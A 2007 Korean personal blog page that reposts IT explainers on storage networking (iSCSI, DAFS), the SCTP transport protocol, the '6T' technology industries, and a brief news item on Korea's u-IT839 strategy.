- Hi-availability SAN(Clustering)

다. iSCSI

SAN은 DAS와 같이 서버에 직접적으로 스토리지를 연결하는 게 아니라 스위치 를 통해서 전체 스토리지 영역을 구성해 DAS의 한계인 확장의 어려움을 해결했 다. 그러나, SAN은 많은 장점에도 불구하고 시스템의 구축비용이 비싼데다 벤 더들간의 호환성 등이 문제로 지적됐다.
이러한 SAN의 문제점을 극복하고자 고안된 게 iSCSI라는 기술이다. 스토리지 시장의 새로운 화두로 떠오른 iSCSI는 "internet SCSI’의 약자로 스토리지 연 결에 사용됐던 물리적 SCSI연결 방식 대신 물리적으로는 이더넷을 사용하며 내 부적으로는 SCSI 프로토콜을 사용하려는 기술 표준으로 IBM과 시스코가 2000년 2월 IETF(Internet Engineering Task Force)에 제출한 스토리지 네트워크 기술 로써 현재 표준 안이 완성단계에 있다.

[그림 4-9-3]

[그림 4-9-3] DAFS에서의 파일 접근 방법


iSCSI의 핵심은 TCP/IP상에서 캡슐화 된 SCSI 정보를 이동시키는 것으로 로 컬 혹은 원격지에서 서버와 스토리지를 연결하여 스토리지가 여러 지역에 분산 돼 있고 IP 네트워크의 관리가 쉬운 고성능의 네트워크 스토리지 상에서 사용 된다. iSCSI 이전에 SAN을 구축하기 위한 유일한 스토리지 네트워크 방법은 사 용자가 각각의 분리된 SAN 인프라스트럭처에 투자해야 하는 파이버 채널뿐이었 다. 왜냐하면 이것은 10M, 100Mbps 이더넷에 비해 빠른 기가비트의 속도를 제 공하기 때문이다. 하지만 파이버 채널은 표준이 설정돼 있지 않아 벤더들 간에 호환이 어려웠으며 비용도 고가였다.
iSCSI에 관심을 갖는 이유는 스토리지 시장의 규모가 연간 4백억 달러에 달 하며 지속적으로 성장하고 있기 때문이다. 즉 이러한 스토리지들의 연결이 가 능하게 되면 사용자에게 더 높은 가치를 제공할 수 있다. 기존 스토리지는 DAS 형태로 전체 네트워크와 독립돼 있었다. 하지만 iSCSI의 도입으로 사용자는 원 격에서도 데이터베이스에 접근할 수 있다. 즉 고객에게 미치는 가장 큰 영향도 스토리지에 IP 네트워크를 이용해 접근, 자원의 사용이 가능하다는 것이다. 이 것은 스토리지 네트워킹의 혁명이라 할 수 있다.

라. DAFS

10GB 네트워크 기술의 등장은 스토리지 업계에도 상당한 파급력을 전해주고 있다. RAID 기술이 기존 스토리지의 물리적인 한계를 극복한 반면 iSCSI는 기존 SCSI 기술 을 10GB 네트워크 상에서 사용할 수 있도록 개발이 진행 중이다. 하지만 본격적인 10GB 시대가 도래하면 iSCSI는 도태할 것이라는 전망도 조심스럽게 개진되고 있다. 이러한 상황에 DAFS(Direct Access File System)의 등장은 현재의 스토리지 네트워 크를 한 단계 올릴 수 있을 것으로 기대되고 있다. [그림 4-9-3]은 DAFS에서의 파일 접근 방법을 보여 준다.
DAFS는 DAFS Collaborators라는 기관을 중심으로 IBM, HP, SUN, ORACLE 등 모 두 85개 이상의 업체들이 참여하여 서로 역할을 분담하여 성능, 확장성, 안정성 개선 이라는 목표를 가지고 노력해 왔다. 이들은 이미 노력의 결실을 일정 수준 이상까지 완성하여, 2001년 9월 DAFS Specification Version 1.0이 이미 완성되어 IETF에 제출 되었으며 DAFS API Specification Version 1.0은 2001년 11월 완성되었다. DAFS Collaborators는 크게 두 가지 분야에 초점을 두고 진행되고 있는데 그 중 하 나는 DAFS라는 프로토콜 자체를 만드는 분야이며, 나머지 하나는 RDMA(Remote Direct Memory Access) 기술을 구현하고 그 기술을 DAFS에 접목시키고자 하는 분 야이다.
현재 DAFS 프로토콜을 만드는 분야는SNIA (Storage Networking Industry Association)의 한부문으로써 DAFS Implementers Forum이라는 그룹을 중심으로 그 노력이 진행되고 있다. 초창기부터 이 포럼에 참가하여 초기 개발자로서 그 중심 적인 역할을 수행하고 있는 업체들로는 네트워크 어플라이언스를 중심으로 브로드 밴드 스토리지, 에뮬렉스, 인텔, 그리고 베리타스 소프트웨어와 같은 회사들이 있다. 이 업체들이 초창기부터 구현하고자 했던 것은 dDAFS(driver DAFS)였다. 그러나 진 정한 DAFS의 실현은 uDAFS(user DAFS)의 완성이라고 보았을 때 이들만의 노력으 로 이룩할 수 있는 것은 DAFS의 최종적인 목표는 될 수 없는 것이었다. 이러한 뜻에 동참하여 uDAFS의 최종 완성을 목표로 이들에 다시 합류하는 애플리케이션 업체들 이 있는데 이들이 바로 오라클, 사이베이스, DB2 등 있다.

제공 : DB포탈사이트 DBguide.net

출처명: (재)한국데이터베이스진흥센터'

'IT' 카테고리의 다른 글

Data Profiling  (0) 2007.11.13
XSS 보안 위협「당신의 사이트는 안전한가?」  (0) 2007.11.13
SCTP란?  (0) 2007.11.11
5T산업 ==> 6T산업  (0) 2007.11.07
u-IT839 전략 초점은 ‘유비쿼터스’ 조성  (0) 2007.11.07
IT
posted by 구름너머 2007. 11. 11. 11:33

본문스크랩 SCTP란? IT

2007/11/11 11:29

http://blog.naver.com/damool2/40044164673

출처 블로그 > yangck20
원본 http://blog.naver.com/yangck20/120002541510
개요

SCTP(Stream Control Transmission Protocol)는 PSTN망 에서 사용되는 signalling messages를 인터넷 망의
IP Network상에서 전송하기 위해 IETF SIGTRAN Working group에서2000년 10월 표준으로 제안(RFC 2960)한
전송프로토콜이다.

SCTP는 IP Layer 위에서 동작하는 TCP와 같은 연결지향적인 프로토콜로 신뢰성 있는 데이터 전송이 가능하며,Association 설정 시 발생할 수 있는 DOS 공격 (Denial of Service Attacks)이나 Masquerading 공격에
안전하도록 설계되어졌다.
또한 SCTP에는 Multi-Streaming 기능이 있어 TCP의 Head Of Line Blocking 으로 인한 성능 저하 문제를
해결 하였다. 특히 SCTP 연결 endpoint들이 여러 개의 IP주소를 가질 수 있는 Multi-Homed일 경우 한 개
이상의 통신 경로를 설정하여 Primary Path에 Path Fail 발생하더라도 미리 설정된 다른 통신 경로로 자동적인
데이터 전송을 하게 하는 Multi-Homing 기능이 있어 데이터 전송의 신뢰성을 높일 수 있도록 개발 되었다.

SCTP는 Multi-Homing과 Multi-Streaming 등의 기능을 통하여 네트워크 상에서 PSTN 망의 신호를 안전하게
전달할 수 있다. 또한 SCTP가 가지는 특징들은 데이터 전송의 성능과 유연성이 높이 요구되는 Mobile IP분야,
멀티미디어나 HTTP와 같이 다중 객체를 전송해야 하는 Application 환경과 높은 신뢰성과 보안이 요구되는
인증과 군 통신 장비 등에 유용하게 사용될 수 있어 차세대 전송 프로토콜로 주목 받고 있다.





[그림1 SCTP Concept]

  • Four-way Handshake 통한 Association 설정
  • Packet에 대한 유효성 검사
  • 데이터 전송경로 및 Idle 경로 Monitoring
  • Ordered and Unordered 데이터의 전송
  • Chunk Bundling
  • Multi-Streaming
  • Multi-Homing
  • TCP에 적용된 Congestion Control
  • Graceful close 시 Half open 지원 하지 않음
  • Fragmentation and Reassembly


  • Common Header

    SCTP 패킷은 Common Header와 Chunk로 구분된다. Common Header에는 Association이 설정된
  • Endpoint들을 유일하게 식별하게 할 수 있는 32 bit의 Verification Tag field가 있고, Checksum field

    있어 Adler-32 알고리즘을 이용한 SCTP 패킷의 무결성과 일관성들을 검사 할 수 있다.





    [그림2 SCTP Packet Format]



  • SCTP Chunk Type

    Common Header 다음에 Chunk들이 위치한다. 각 Chunk들은 Chunk type으로 시작 하여 Chunk의
  • Type을 구분할 수 있다. 이 Chunk 들은 SCTP의 연결 설정, 해제, 에러 전송 등을 위한 Control

    Chunk들과 데이터 전송을 위한 Data Chunk, 응답을 위한 Sack Chunk 등이 있다.

    Note : 본 문서에서는 Chunk를 설명하기 위해 연결을 요청 하고 데이터를 보내는 측을 Endpoint A,

    연결 요청에 수락을 하고 데이터를 수신하는 측을 Endpoint Z라고 가정한다.

    - Payload Data (DATA)

    User Data를 전송하기 위하여 사용되는 Chunk이다. Data Chunk에는 Stream Identifier와
    Stream Sequence Number가 있어 데이터가 전송되는 Stream과 지정된 Stream으로 전송된
    데이터 순서번호를 인식할 수 있어 SCTP는 Multi Stream 이 가능해진다.

    - Initiation (INIT)

    두 개의 endpoints 사이의 SCTP Association을 하기 위해 사용된다. INIT chunk Inbound
    Streams, Outbound Streams의 수, Window Size, 사용 가능한 IP(IPv4, IPv6), Cookie
    Preservative 등이 Variable Parameter에 포함되어 전송된다.

    - Initiation Acknowledgement(INIT ACK)

    Init Chunk의 ACK를 보내기 위해 사용되는 Chunk이다. 형태는 INIT Chunk와 유사하나
    State Cookie와 Unrecognized Parameter등이 Variable Parameter에 포함되어 전송된다.

    - Selective Acknowledgement(SACK)

    SACK Chunk는 수신된 DATA Chunk의 TSN에 나타난 전송 데이터의 수신된 결과와 손실된
    데이터 갭을 통보하기 위해서 데이터 송신 endpoint에게 보내어진다. 또한 SACK는 Cumulative
    TSN ACK field 와 Advertise Receiver Window Credit(a_rwnd) Parameter가 있어 데이터
    수신을 위한 버퍼 크기와 수신된 데이터의 양을 관리하여 그 결과를 상대 endpoint에게 알린다.

    - Heartbeat Request(HEARTBEAT)

    Endpoint A 와 현재 연결된 다른 Endpoint B 사이의 전송 경로가 SCTP Multi-Homed 기능에
    의해 생성된 여러 개의 데이터 전송 경로 (Endpoint 들이 가지고 있는 IP들에 할 당 된 경로)가
    데이터 전송이 가능한지를 판별하기 위해 연결된 Endpoint A의 IP들과 경로로 맺어진
    Endpoint B의 IP들에 보내어 지는 Chunk이다.(Endpoint A와 B의 반대도 성립) HEARTBEAT
    Chunk에는 파라미터로 현재 송신 시간과 목적지 IP를 가지게 된다.

    - Heartbeat Acknowledgement(HEARTBEAT ACK)

    HEARTBEAT Chunk에 대한 응답으로서 HEARTBEAT 송신자에게 보낸다.

    - Shutdown Association (SHUTDOWN)

    ABORT는 Endpoint A 와 Endpoint Z 사이의 SCTP 연결이 비정상적으로 종료할 때 연결을
    close하기 위해 보내어지는 상대 endpoint에게 보내지는 Chunk이다.

    - Operation Error (ERROR)

    Endpoint A나 Endpoint Z사이에 발생한 에러 상태를 상대 Endpoint에 알리기 위해 보내어지는
    Chunk이다. 이 chunk는 하나 이상의 에러 원인들을 포함하고 있다.

    - Cookie Echo (COOKIE ECHO)

    COOKIE ECHO는 association의 초기화 동안에만 사용된다. 초기화 프로세스가 완성되면
    Association의 initiator(연결 요청 Endpoint)에 의해 peer(연결 수락 Endpoint)로 보내진다.
    이 chunk는 Association 내에서 보내지는 어느 DATA chunk보다 반드시 앞에 위치 해야 한다.
    또한 같은 패킷에서 하나 이상의 DATA chunk들과 함께 bundle될 수 있다.

    - Cookie Acknowledgement (COOKIE ACK)

    COOKIE ACK는 COOKIE ECHO chunk의 수신에 대한 acknowledge에 사용된다.
    이 chunk는 반드시 association내에서 전송된 어느 DATA chunk나 SACK chunk보다
    앞서 와야 한다. 또한 SCTP 패킷에서 하나 이상의 DATA chunk들이나 SACK chunk와
    함께 bundle될 수 있다.

  • SCTP 데이터 전송

    SCTP는 IP 네트워크 기반에서 효율적인 데이터 전송을 위해 RFC 2960에 따라 Bundling,
  • Fragment and Reassembly, Flow과 Congestion Control 메커니즘 등을 구현하고 있다.

    또한 Transport Sequence Number (TSN)을 이용하여 전송된 데이터의 중복데이터와

    손실데이터를 찾을 수 있는 메커니즘이 있어 데이터 전송의 신뢰성을 높일 수 있다.

  • Flow Control

    SCTP는 TCP와 같은 방법으로 혼잡제어와 흐름 제어를 위해 window size를 이용한다. 즉 수신 endpoint는 Receiver Window를 데이터 송신 endpoint에게 통보하여 송신되는 데이터의 크기를 조절한다. 이때 데이터 수신 endpoint는 Receiver Window Size를 SACK Chunk를 통하여 알려준다.

  • Congestion Control / Slow-Start

    망 내에 존재하는 패킷의 수가 과도하게 증가되는 현상을 혼잡 (Congestion) 이라고 정의하며 혼잡 현상을 방지하거나 제거하는 기능을 혼잡제어 (Congestion Control) 라고 한다. Slow-start는 패킷을 저장하는 중간 라우터의 저장할 버퍼 공간의 부족으로 데이터 전송에 문제가 생기는 것을 말한다. SCTP는 TCP Congestion Control과 Slow-start의 메커니즘을 같이 구현 하고 있다. 또한 SCTP에서 구현되는 혼잡제어와 Slow-start 메커니즘은 Multi-Homed에 의해서 구성된 모든 경로에 대하여 Congestion Control / Slow-start 메커니즘을 적용한다.

  • Selective Acknowledgement

    SACK Chunk의 Cumulative TSN Ack filed를 이용하여 수신된 데이터를 알리고 모든 데이터가 성공적으로 수신하였다면 Fragment된 데이터를 Reassembly 하여 ULP(예 Application)에 전송하게 된다. 만약 데이터의 손실이 생겼다면 Gap Blocks field를 이용하여 송신 측에 데이터를 알리고 데이터 송신 측은 Fast Retransmit 메커니즘을 이용하여 데이터를 재전송하게 된다.

  • Ordered and Unordered Delivery

    SCTP는 Stream 내에서 전송되는 데이터 순서 SSN(stream sequence number)를 정의한다. 이 SSL은 Data Chunk 내에 존재 하며 만약 Data Chunk의 U flag가 1에 설정되어 있으면 데이터 순서에 상관 없이 Upper layer에게 전달 한다. 반대로 Data Chunk의 U flag가 0으로 설정되면 수신된 DATA chunk를 SSL에 따라 Upper layer에게 전달해야 한다. 만일 DATA chunk들이 SSN의 순서를 벗어나서 도착했다면 수신된 DATA chunk들을 ULP로 전달하기 위해 DATA chunk들이 재 정렬될 때까지 대기 되어야만 한다.

  • Fragmentation and Reassembly

    SCTP는 효율적인 데이터 전송을 위해 fragmentation과 reassembly 메커니즘을 지원 한다. 만약 보낼 사용자 메시지가 현재 MTU의 크기를 초과하면 fragment가 요구된다. 만약 SCTP가 데이터 전송 시 사용자 메시지의 fragmentation을 지원하지 않으면 SCTP는 에러를 사용자에게 전달 하고 다시 메시지를 보내지 않는다. 데이터 수신 endpoint는 Fragment 된 데이터를 Reassembly하여 ULP에 전달하게 된다.

  • Bundling

    SCTP는 전송하는 SCTP 패킷 안에 여러 개의 Chunk를 포함하는 단순한 방법으로 chunk를 묶을 수 있다. 이 때 SCTP 패킷은 IP header를 포함하는 IP 데이터그램의 크기는 현재 Path MTU 보다 작거나 같아야 한다. 즉 Bundling되는 데이터 크기는 MTU크기에 의하여 Bundling되는 데이터 크기가 결정된다. 만약 수신 측의 endpoint가 멀티홈드라면 데이터를 송신하는 endpoint는 현재 모든 경로 중의 가장 작은 MTU 값을 primary path의 MTU를 값으로 설정한다.

  • Path MTU Discovery

    SCTP endpoint는 주어진 인터넷 경로에 존재하는 최대 전송 단위(MTU)를 측정하고, MTU를 초과하여 전송하는 패킷을 중지하고, 때때로 Path MTU(PMTU)의 변경을 시도한다. 만약 SCTP가 Multi-Homed라면 모든 경로에 대하여 Path MTU Discovery를 실행한다.

  • SCTP Multi-Streaming

    SCTP 전송 프로토콜은 하나의 SCTP Association에 여러 개의 Stream을 가지는 Multi-stream
  • 기능이 있다. SCTP는 각 Stream 마다 Stream 순서번호(SSN : Stream Sequence Number)가

    있어 Stream의 순서를 유지하여 해당 Stream으로 전송되는 데이터를 관리하여 신뢰성 있는

    데이터의 전송이 가능하도록 하고 있다.

    하나의 Stream으로 구성되는 TCP의 경우 Stream에 전송된 데이터에 패킷의 손실이 발생한 경우 손실된

    패킷이 재 전송 되기를 기다리는 동안 Application에 데이터를 전달하지 못하는 Head of line blocking

    현상이 발생한다. 그러나 SCTP는 여러 개의 Stream으로 데이터를 전송할 수 있어 어느 한 Stream에서

    데이터의 패킷이 손실이 발생하여 데이터 전송이 지연되더라도 다른 Stream으로 전송되던 데이터는

    지연현상 없이 Application에 데이터를 전송할 수 있는 Multi-Stream기능이 있다. 따라서 SCTP는

    여러 개의 Stream으로 데이터를 전송 할 수 있어 데이터 전송을 빠르게 할 수 있다는 장점을 가질 수

    있다. 만약 데이터 전송 및 여러 개의 객체를 전송해야 하는 HTTP 프로토콜에서 SCTP를 전송 프로콜로

    사용한다면 데이터 전송 속도를 향상 시킬 수 있을 것이다.

    또한 SCTP는 Data Chunk에 Ordered, Unordered을 선택할 수 있는 U flag가 있다. 만약 데이터의 전송

    시 순서 유지가 필요 없다면 U flag를 1에 설정하여 순서 없이 데이터 전송을 할 수 있다. 이 때 U flag를

    인식한 데이터의 수신 endpoint에서는 데이터의 순서를 유지할 필요가 없기 때문에 데이터의 순서를

    유지하기 위하여 소모되는 시간이나 손실 된 패킷에서 발생한 데이터를 재 수신하기 위하여 기다려야

    하는 시간을 줄일 수 있다. 따라서 Data Chunk의 Ordered, Unordered 기능은 Multi-stream과 병행되어

    사용되기 때문에 데이터 전송 능력을 향상을 가져 올 수 있다.








    [그림3 SCTP Multi-Stream 1]







    [그림4 CTP Multi-Stream 2]



  • SCTP Multi-Homing

    SCTP는 SCTP Association을 맺고자 하는 endpoint들이 Multiple Ethernet의 각각에 IP가
  • 할당된 Multi homed인 경우에 적용 될 수 있다. SCTP는 SCTP Association 성립되는

    Multi-Homed endpoint들에게 하나의 Association에서 각 IP에 해당하는 데이터 전송 경로를

    가질 수 있도록 한다. 즉 SCTP는 2개 이상의 사용 가능한 Ethernet 카드에 할당된 IP주소를

    처음 SCTP Association Establish을 설정할 때 상호의 IP를 교환하여 각 IP에 해당하는

    데이터 전송 경로를 확보하게 된다.

    연결이 성립된 후 SCTP는 데이터 전송을 위한 Primary Path로 여러 개의 경로 중 하나를 선택하여

    주 데이터 전송경로로 사용하고 다른 경로들은 Idle 상태로 있게 되어진다. 이 때 SCTP는 Idle 상태에

    있는 경로에 대하여 HEART BEAT CHUNK를 이용하여 Idle 경로가 사용이 가능 한지 주기적으로

    모니터링을 한다. 만약 Primary Path에 Path Fail이 발생 한 경우 Idle상태에 있는 경로 중 데이터

    전송이 가능 한 경로를 하나 선택하여 Primary Path로 바꾸고 데이터 전송을 계속하게 된다. 이 때

    SCTP는 Association 이 끊기지 않게 이전 경로에서 새로운 경로로 변환 해주고 이전 경로에

    대한 Association 정보를 새로운 경로에 대하여 자동적으로 적용하도록 한다. 이러한 SCTP의

    Multi-Homed 기능은 하나의 경로만으로 데이터를 전송하는 경우보다 데이터 전송의 신뢰성을

    배가 시킬 수 있는 SCTP의 특징이다.





    [그림5 SCTP Multi-Homed]






    [그림6 SCTP Multi-Homed Path Fail]



  • ULP-to-SCTP

    ULP primitive 아래에서 설명되는 함수들은 SCTP가 내부 프로세스 통신을 지원하기 위하여 수행되어져야 하는 기본적인 함수를 이다.

    Primitive Description
    Initialize SCTP가 내부적인 데이터 구조를 초기화 하고 SCTP의 운용환경을 설정하기 위한 필요한 자원을 할당하는데 이용되어진다
    Associate 이 primitive는 상위 계층이 특정에 peer endpoint에게 연결을 초기화 하도록 한다.
    Shutdown Graceful close을 통하여 연결을 종료한다
    Abort 연결을 을 비정상적으로 종료한다
    Send SCTP을 통해서 사용자 데이타를 전송하기 위한 함수이다.
    Set Primary SCTP에게 패킷 전송을 위한 primary path로써 특정 목적지 주소를 사용할 것을 지시하는 함수이다.
    Receive SCTP에서 ULP에 의해 규정된 버퍼 안의 SCTP in queue 있는 user message를 읽는다.
    Status 연결에 대한 상태정보들을 반환한다.
    Change Heartbeat SCTP endpoint가 특정 목적지 전송 주소에 heartbeat을 할지 안 할지를 지시하는 함수
    Request Heartbeat SCTP endpoint가 특정 목적지 전송 주소에 heartbeat을 수행할 것을 지시하는 함수
    Get SRTT Report SCTP에 현재의 SRTT 측정값을 보고하는 함수
    Set FailureThreshold SCTP가 규정된 목적지 주소를 위하여 "Path.Max.Retrans"의 failure detection threshold 도착 성을 최적화 한다.
    Destroy SCTPinstance 소멸될 SCTP Instance를 가리킨다.


  • SCTP-to-ULP

    SCTP가 비 동기적인 ULP 처리 신호를 위한 인터페이스이다. 즉 SCTP연결에 이벤트가 발생하여 ULP에 처리 신호를 보낼 때 사용되는 함수들이다.

    Primitive Description
    DATA ARRIVE notification SCTP가 사용자 메시지를 성공적으로 수신하고 Reassembly를 위한 준비가 되었을 때 ULP에 알리는 notification이다.
    SEND FAILUREnotification 메시지가 상대 Endpoint에 전달 될 수 없는 것을 SCTP ULP에 알리는 notification 이다.
    NETWORK STATUSCHANGE notification 목적지 전송 주소가 비 활동이나 활동으로 표기 되었을 때 ULP에 알리는 notification 이다
    COMMUNICATION UPnotification 이 notification은 SCTP가 메시지를 보내거나 받기가 준비 되었을 때나 endpoint에 대한 잃어버린 연결을 복구하기 위하여 ULP에 알리는 notification 이다
    COMMUNICATION LOST notification SCTP가 endpoint에 대한 통신을 완전히 잃었을 경우(e.g., via Heartbeat) 나 상대가 비정상 종료를 진행 중에 있을 때 ULP에 알리는 notification 이다
    COMMUNICATION ERROR SCTP가 peer로부터 ERROR chunk을 받고 이를 ULP에게 통지하기로 결정했을 때 ULP에 알리는 notification 이다
    RESTART notification 상대 SCTP endpoint가 재 시작 되었다는 것을 SCTP가 감지 했을 때 ULP에 알리는 notification 이다


  • 전송프로토콜 수준의 보안기능이 요구되는 시스템
    : Application의 수준의 보안 이외에SCTP 위에 TLS를 적용하여 보안 기능을 강화

  • 인증, 권한, 과금정보를 관리하는 인증 시스템 장비
    : Multi-Homing 기능을 활용한 신뢰성 있는 데이터 전송

  • 신뢰성이 요구되는 군 장비 및 위성 통신장비
    : SCTP 데이터 전송의 Unordered 기능 적용 됨
    : 좋지 못한 환경으로 인한 Path Fail이 발생이 쉬운 전쟁에 사용되는 군 장비나 위성통신을 위하여
    Multi-Homing 기능이 활용 됨

  • Mobile IP 분야
    : Multi-Homing 기능을 이용한 무선 통신 단말기에 적용

  • 미래의 HTTP를 위한 전송 프로토콜로 활용
    : 다중 객체를 송수신해야 하는 HTTP에 전송프로토콜로 SCTP를 사용하여
    데이터 전송의 성능을 향상을 가져옴

  • 결론

    SCTP는 PSTN 망의 호 처리를 위해 사용되는 신호를 IP네트워크에 전송 하기 위해 사용되는 전송프로토콜이다. 그러나 SCTP는 TCP와 같은 신뢰성 있는 전송을 보장하고 UDP처럼 유연하게 데이터를 전송할 수 있을 뿐만 아니라 DOS나 SYN Flooding 공격에 안전한 전송 프로토콜이기 때문에 많은 Appliation 개발자들이 선호할 것으로 보여진다. 이러한 SCTP의 특징은 특정 기능을 요구하는 장비에 활용될 수 있기 때문에 그 가치는 더욱 높다. 특히 Multi-Stream 기능과 Multi-Homed 기능은 성능을 요구하는 Mobile 분야나 안전성 및 보안을 요구하는 군 통신 장비에 널리 사용될 수 있을 것으로 보인다. SCTP의 장점을 활용하기 위한 연구는 2000년 10월 표준 전송프로토콜로 제안된 이후 지금까지 여러 분야에서 연구가 활발히 진행 되고 있는데 Mobile 분야와 군사 및 위성장비 분야, 그리고 SCTP를 사용한 보안인증 분야 등에서 활발한 연구가 진행되고 있다. 또한 다른 한편에서는 IP기반의 네트워크 장비에 탑재하기 위한 리눅스 커널과, BSD 시스템에서의 동작하는 개발이 진행 되고 있다. 지금까지 SCTP에 대한 연구는 각 분야에서 학계, 산업계, 그리고 표준단체가 협력 관계를 유지하며 많은 연구가 진행 되어 온것이 사실이다. 그러나 아직은 IP Network 상에서 SCTP가 산업계에 적용할 수 있을 정도로 안정화되거나 검증되지 않았기 때문에 SCTP의 활용가치는 폭넓고 미래 지향적이기는 하나 보편적인 사용을 위해서는 더욱 많은 연구와 검즘이 요구되고 있는 것이 사실이다. 특히 성능과 안전성이 요구되는 네트워크 관리 분야에서도 SCTP를 활용한다면 현존하는 시스템보다 훨씬 진보된 망 관리 시스템 구성되어질 것으로 보인다.

  • Reference Document

  • RFC2960 : Stream Control Transmission protocol
    RFC3257 : Stream Control Transmission Protocol Applicability Statement
    RFC 2719 : Architectural Framework for Signaling Transport
    draft-riegel-tuexen-mobile-sctp-00.txt
    : A Study of SCTP Services in a Mobile-IP Network
    atiq-sctp-congestion-4
    : SCTP Multi-Stream capable within Mobile IP
    http://www.oscer.ou.edu/Symposium2002/atiq_sctp_supercomputing1.pdf
    http://rivus.sourceforge.net/RivuS.ppt
    http://oss.software.ibm.com/linux/presentations/lwce2002/Chats/SCTP/SCTP- LWE.pdf

  • Reference Link

  • http://www.sctp.be
    http://www.sctp.de
    http://www.sctp.org
    http://www.lksctp.org
    : This is the home page of an open source Linux kernel implementation
    http://pel.cis.udel.edu
    : The SCTP homepage of the University of Delaware
    http://tdrwww.exp-math.uni-essen.de/inhalt/aktuell/start.php3
    The sctp homepage of the University of Essen
    http://netlab.cis.temple.edu/SCTP
    The SCTP homepage of the Temple University.
    http://www.ss7.net
    : OpenSS7 Stack Project
    http://playground.sun.com/sctp
    : Solaris Stack Project
    www.intellinet-tech.com/products/sigtran/sctp
    : Intellinet SCTP Project
    www.tcpdump.org
    : tcpdump SCTP module Project

    'IT' 카테고리의 다른 글

    XSS 보안 위협「당신의 사이트는 안전한가?」  (0) 2007.11.13
    데이터 저장 기술  (0) 2007.11.11
    5T산업 ==> 6T산업  (0) 2007.11.07
    u-IT839 전략 초점은 ‘유비쿼터스’ 조성  (0) 2007.11.07
    조립컴퓨터로 삽질...  (0) 2007.10.15
    IT
    posted by 구름너머 2007. 11. 7. 12:52

    5T산업 ==>6T산업 으로 진화.


    6T산업은 이렇습니다

    1. IT (정보기술)
    Information Technology의 약자인 IT기술은 정보를 생성, 도출, 가공, 전송, 저장하는 모든 유통과정에서 필요한 기술을 말한다. 현재 우리나라의 IT기술 수준은 SRAM, TFT-LCD, CDMA 등 국가 연구개발 사업을 통한 첨단분야에서 세계 최고의 국제경쟁력을 갖춘 기술을 다수 확보하고 있다. IT기술은 21세기 정보화사회에 필수적인 기술일 뿐 아니라, 기술의 부가가치 및 사회·경제적 파급효과가 매우 커서 산업적으로 중요한 분야다.
    향후 10년 간 신기술로서 세계시장을 주도할 것으로 전망되고 있다. 이에 따라 경쟁력 유지와 원천기술 확보를 통한 정보기술의 자립을 위한 노력의 필요성이 대두되고 있다.

    2. BT (생명공학기술)
    Biotechnology Technology의 약자인 BT기술은 생명현상을 일으키는 생체나 생체유래물질 또는 생물학적 시스템을 이용하여 산업적으로 유용한 제품을 제조하거나 공정을 개선하기 위한 기술이다. 현대사회가 급속도로 발전되면서 BT기술은 무병장수와 식량문제의 해결 등 삶의 질 향상에 필수적인 기술로 21세기에 고부가가치의 신 산업을 창출할 가능성이 높다.
    현재보다는 미래에 더욱 각광 받을 것으로 기대되는 BT기술 분야는 2010년경부터는 IT에 이어 차세대 신 산업 창출의 원동력이 될 것으로 예측된다. 이에 따라 Platform 기술에 중점을 두고 벤처기업의 역량 강화를 통한 기술개발의 필요성이 제기되고 있다.

    3. NT (나노기술)
    Nanotechnology Technology의 약자인 NT기술은 물질을 원자·분자 크기의 수준(10~9mm)에서 조작·분석하고 이를 제어할 수 있는 과학과 기술을 총칭하는 말이다. NT기술은 과학기술의 새로운 영역을 창출하거나 기존 제품의 고성능화에 필요한 기술로, IT와 BT와 함께 21세기의 신 산업 혁명을 주도할 핵심기술로 인정받고 있다. IT, BT, ET 관련 신 산업 등 거의 모든 산업에 필요한 핵심요소기술인 NT기술은 국제적으로도 아직 개발초기 단계이고, IT와 BT의 기반이 되고 있는 등 기술적·산업적 파급효과가 클 것으로 전망되는 분야다.

    4. CT (문화기술)
    Culture Technology의 약자인 CT기술은 디지털 미디어에 기반한 첨단 문화예술산업을 발전시키기 위한 기술을 총칭하는 말이다. 최근에는 인터넷의 활성화와 디지털 기술의 발전으로 디지털 컨텐츠의 수요가 급증하고 있다. CT기술은 향후 고부가가치 산업으로 성장 가능성이 큰 디지털 미디어에 기반한 첨단 문화예술산업을 발전시키는 데 필수적인 기술로 기술·지식 집약적 산업 특성 때문에 우리 민족의 창의력을 극대화할 수 있는 기술로 전망 되고 있다.

    5. ET (환경기술)
    Environment Technology의 약자인 ET기술은 환경오염을 저감·예방·복원하는 기술로 환경기술, 청정기술, 에너지 기술 및 해양환경기술을 포함한다. 과학문명이 고도로 발전하고 있는 현대사회에서 인류는 쾌적한 삶에 대한 욕구가 증대하고 있다. 또한 환경문제의 경우 개별 국가에 머무는 문제가 아니라 인접국가에 미치는 영향 등을 고려할 때 환경기준의 설정을 통한 새로운 무역규제의 등장 등 환경관련 수요가 증대하고 있다. 최근의 뉴라운드에서도 환경문제가 심도 있게 논의된 것은 물론 지구적 차원에서 환경문제 해결방안 모색을 위해 그린라운드가 현실화 될 것으로 예상되는 등 향후 환경기술은 급격하게 발전될 전망이다. 이에 따라 ET기술은 투자의 확대와 함께 제도·정책적인 지원, R&D 기반 확충이 시급한 실정이다.

    6. ST (우주항공기술)
    Space Technology의 약자인 ST기술은 위성체, 발사체, 항공기 등의 개발과 관련된 복합기술이다. 전자, 반도체, 컴퓨터, 소재 등 관련 첨단기술을 요소로 하는 시스템 기술로 기술개발 결과가 타 분야에 미치는 파급효과가 매우 큰 종합기술로 인정받고 있다. IT, NT 등 각 산업분야의 첨단기술을 주도해 나갈 미래유망 핵심기술 분야인 것이다. ST기술은 국내의 관련된 기술 분야의 수준을 높이는 데 기여할 수 있는 반면 선진국의 기술장벽이 높아 산업화와 관련된 신기술 개발을 육성할 필요성이 크다.

    'IT' 카테고리의 다른 글

    데이터 저장 기술  (0) 2007.11.11
    SCTP란?  (0) 2007.11.11
    u-IT839 전략 초점은 ‘유비쿼터스’ 조성  (0) 2007.11.07
    조립컴퓨터로 삽질...  (0) 2007.10.15
    해싱의 개요및 특징  (0) 2007.09.20
    IT
    posted by 구름너머 2007. 11. 7. 11:59

    u-IT839 전략 초점은 ‘유비쿼터스’ 조성

    디지털데일리|기사입력 2006-02-08 12:02 |최종수정2006-02-08 12:02
    광고
    2010년까지 생산액 576조원...부가가치 266조원 창출

    정보통신부가 2004년 2월 첫 선을 보인 IT839 전략을 대폭 수정한 u-IT839 전략을 발표했다.

    8일 정통부에 따르면, 참여정부의 정보통신 정책인 IT839 전략을 수정 보완한 u-IT839 전략에는 유비쿼터스 사회를 조성하기 위한 정책에 초점이 맞춰진 것으로 나타났다.

    특히, 정통부는 올해부터 u-IT839 전략의 본격추진으로 2010년까지 생산액 576조원, 부가가치 266조원 창출할 것으로 기대했다.

